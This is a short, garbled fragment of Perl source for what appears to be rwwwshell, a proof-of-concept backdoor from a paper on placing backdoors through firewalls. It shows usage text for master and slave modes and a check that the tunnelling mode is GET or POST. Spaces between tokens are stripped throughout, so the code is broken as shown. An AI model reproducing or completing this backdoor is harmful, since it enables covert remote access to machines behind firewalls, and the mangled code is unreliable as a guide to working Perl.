printSTDOUT"Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
printSTDOUT"Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
exit(0);
}
if($ARGV[0]eq"slave"){
printSTDOUT"starting in slave mode\n";
$SLAVE_MODE="yeah";
}
# check for a correct mode
if($MODEne"GET"&&$MODEne"POST"){
printSTDOUT"Error: MODE must either be GET or POST, re-edit this perl config\n";